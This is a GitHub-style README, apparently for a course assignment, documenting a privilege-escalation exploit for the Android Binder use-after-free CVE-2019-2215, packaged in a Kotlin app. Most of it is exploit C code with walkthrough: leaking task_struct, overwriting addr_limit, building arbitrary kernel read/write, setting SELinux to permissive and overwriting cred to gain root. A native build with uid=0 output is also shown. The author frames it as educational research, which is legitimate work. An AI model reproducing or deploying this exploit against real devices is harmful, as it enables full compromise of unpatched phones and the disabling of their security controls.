
demo CVE-2019-2215 (Bad Binder) for Android Q
This repository is a small test project for researching the vulnerability
CVE-2019-2215 (Bad Binder) and writing a working prototype of an exploit for Android with
a simple graphical interface in Kotlin/Jetpack Compose.
In the README I:
The repository has a GitHub Actions workflow configured that, on every push/PR, builds the project
with the command ./gradlew assembleDebug and publishes the finished badbinder-debug.apk as an artifact.
You can download it like this:
badbinder-debug-apk
with the built APK.This is done for convenience, if you just want to test the application without setting up a local environment.
CVE-2019-2215 is a Use-After-Free (UAF) in the Binder IPC subsystem of the Android kernel.
Simplified:
struct binder_thread that describes a thread
performing Binder calls;waitqueue);remove_wait_queue,
which opens a classic UAF scenario;I made a more detailed theoretical breakdown based on the materials from:
The assignment recommends using an AVD with Android 10.0 (Q) x86_64 image.
I did the following:
/dev/binder device exists.adb shell
ls -l /dev/binder
At this stage I ran into an unpleasant fact:
currently, the current AVD images already come with a patched kernel where
CVE-2019-2215 is fixed. That is, you won't actually be able to get root on a modern official emulator
— the exploit fails at later stages or simply doesn't give privilege escalation.
In the end, I use the AVD as a simulator to reproduce the exploit logic:
addr_limit,This is an important nuance: all code and report below are educational, not "combat".
I made a small Android application:
Main steps:
Created a regular project in Android Studio (Kotlin, minimum API Android 10).
Added NDK and CMake.
Added a native file with the exploit (that same cve-2019-2215.c with functions
leak_task_struct, overwrite_addr_limit, etc.).
In CMakeLists.txt added the build of libcve-2019-2215.so.
In MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
On the Kotlin side, I made an ExploitViewModel that implements the
NativeLogger interface and puts all messages into a StateFlow<List<String>>. The UI subscribes
to this flow and displays the log in a "terminal".
When the activity starts, I call setNativeLogger(viewModel), so that the native code gets
an object to which it can send strings.
Build and install the application:
./gradlew installDebug
Start the AVD and the application itself.
On the screen I see a "terminal" and a button RUN EXPLOIT.
When pressed:
runNativeExploit() in a background thread.On a real vulnerable kernel, I would expect to see something like at the end:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
On the current Android 10 emulator this, of course, does not happen, but everything else —
leak of task_struct, attempt to overwrite addr_limit, calculation of cred and kernel_base —
works as a "scenario", which is what was required for the assignment.
Below is the logical scheme of the exploit with reference to specific C functions.
The high-level plan is:
struct binder_thread object and use it to
leak the address of task_struct of my process (leak_task_struct).addr_limit field in task_struct (overwrite_addr_limit) — this removes the
restriction between user-space and kernel-space addresses for subsequent
copy_to_user / copy_from_user.arb_read / arb_write).cred of the current process and the kernel base (verifying),
then:
In parallel, I integrated a JNI logger, so that all these stages are visible directly in the UI.
task_struct (leak_task_struct)Key function:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
What the function does:
Pins the thread to CPU 0 (sched_setaffinity) to make kernel allocator behavior
more predictable. This improves UAF exploit stability.
Opens /dev/binder, creates an epoll descriptor:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
The binder descriptor is registered in epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Prepares an array struct iovec iov_buffers[IOVEC_N] and allocates memory:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Here it is important that the lower 32 bits of the address are zero:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
This corresponds to the technique from exploit articles: further the kernel interprets part of our data as structures with pointers, and such "nicely aligned" addressing simplifies abuse.
Then the fields iov_buffers[0xa] and are filled so that at
the moment of UAF the kernel copies into the pipe a piece of memory where the pointer to
lies.
Result: I have the address of task_struct in the kernel, which is critical for
the subsequent steps.
addr_limit (overwrite_addr_limit)addr_limit in task_struct determines which addresses the process can pass to system calls as user-space pointers. If you overwrite it to a nearly maximum value, the kernel stops distinguishing user-space addresses from addresses in its own address space — and many apparently safe copy_(to|from)_user operations become arbitrary kernel reads/writes.
Function:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
Works on a very similar pattern:
Again pin CPU affinity, open /dev/binder, create epoll.
Prepare iov_buffers, but this time the scheme is different:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
Instead of a pipe, socketpair(AF_UNIX, SOCK_STREAM, ...) is used:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Prepare a msghdr structure for recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
In the child process (after fork()), the UAF race is triggered again:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)After overwriting addr_limit, I use pipes to turn normal read/write operations into the ability to read and write to kernel addresses.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Similarly, arb_write changes the direction of copying.
Function verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Here I:
task_struct from the kernel;PID_OFFSET that it is indeed my structure;cred and an address leak from the kernel (kernel_leak);kernel_base with an adjustment for a hardcoded offset.The final part in runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing and set it to zero/ “permissive” state.Then overwriting cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
I literally fill the capability fields and some other fields of cred
with maximum values to give the process full rights.
Final check:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
On a real vulnerable kernel, I would expect uid=0 here; on the patched image,
escalation is logically disabled.
To see everything in real time, I added a layer:
JNI_OnLoad saves JavaVM* and the PID of the main process;setNativeLogger accepts a Kotlin object implementing the method onLog(String),
and saves it as a GlobalRef;android_log/android_log_hex write to logcat and call send_to_ui, which
delivers the string to Kotlin, where it is picked up by ExploitViewModel and displayed
in the Compose "terminal".Importantly, send_to_ui filters child processes by PID — calling JNI from a process
after fork() without exec() is unsafe.
I encountered the fact that currently there are no official AVD Android 10 images with an unpatched kernel where CVE-2019-2215 is still present.
Instead of "combat" root acquisition, I focused on:
If desired, this code can be ported to a real device with an old unpatched kernel, but that goes beyond the assignment.
I had to explicitly set:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak and selinux_enforcing;kernel_base.I deliberately did not automate the search for these values to avoid bloating the project. In the report, I rely on the fact that this is a training example for a specific kernel version, not a universal exploit.
Using fork(), epoll_ctl, BINDER_THREAD_EXIT, and various timings
is a minefield. I encountered that without:
sched_setaffinity,sleeps,asserts along the waythe exploit becomes extremely unstable.
I gradually debugged the sequence so that on a vulnerable configuration it
would be predictable, and on a patched one it would correctly "fail" at the
last steps.
fork()I also encountered that attempts to log from the child process
directly to the JVM lead to strange behavior.
I had to recall JNI rules and add a PID check to communicate
with the JVM only from the main process.
Compromise: part of the messages are visible only in logcat, and in the UI
only what came from the parent is displayed. This was acceptable to me because
within the assignment, the main checkpoints are important, not every debug
print.
As a bonus, for a more creative implementation of the assignment, I decided to make an interface convenient for analysis:
[+], [*], [!], [C]) are highlighted in different
colors for easy reading;Success / Failed) is displayed in a separate block.This greatly simplifies the perception of the native code's work: instead of dry logcat
I see everything in one place, directly in the application.
As a result of working on the assignment, I:
task_struct,addr_limit,cred, disabling SELinux, and attempting privilege escalation.The project turned out to be compact, but essentially reflects the entire lifecycle of a real kernel vulnerability: from theoretical description and reading articles to practical implementation and integration into a live Android application.
In the cve-2019-2215 directory there is a Makefile that allows you to build
a native binary (x86_64) and run it directly in the AVD via ADB.
If you need an aarch64 version, you can build it separately.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred fields to become root and get the full set of capabilities
(runNativeExploit).iov_buffers[0xb]task_structCreates a pipe and sets its buffer size to 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Next — a classic UAF race. I launch a child process:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) leads to
freeing the associated binder_thread in the kernel, but it still appears
in the wait accounting structure — this is the UAF point.In the parent process I call:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // free binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
At this stage, thanks to UAF, writev uses already freed memory
as iovec structures and essentially reinterprets the same memory area
that previously held binder_thread, but now as a set of
pointer/length pairs. As a side effect, a fragment of kernel memory is copied into our pipe.
Finally, I read from the pipe:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
The offset 0xe8 is chosen for the specific kernel version — it is the place
within the leaked memory block where the pointer to my process's task_struct is located.
The parent, as before, frees binder_thread and calls recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
Due to UAF and clever structure substitution, the kernel eventually treats task_struct + ADDR_LIMIT_OFFSET as a user buffer address and copies the contents of the sent structure there
(our value 0xfffffffffffffffe), thereby overwriting addr_limit in task_struct.
I write to the log:
android_log("[!] addr_limit overwrite done.");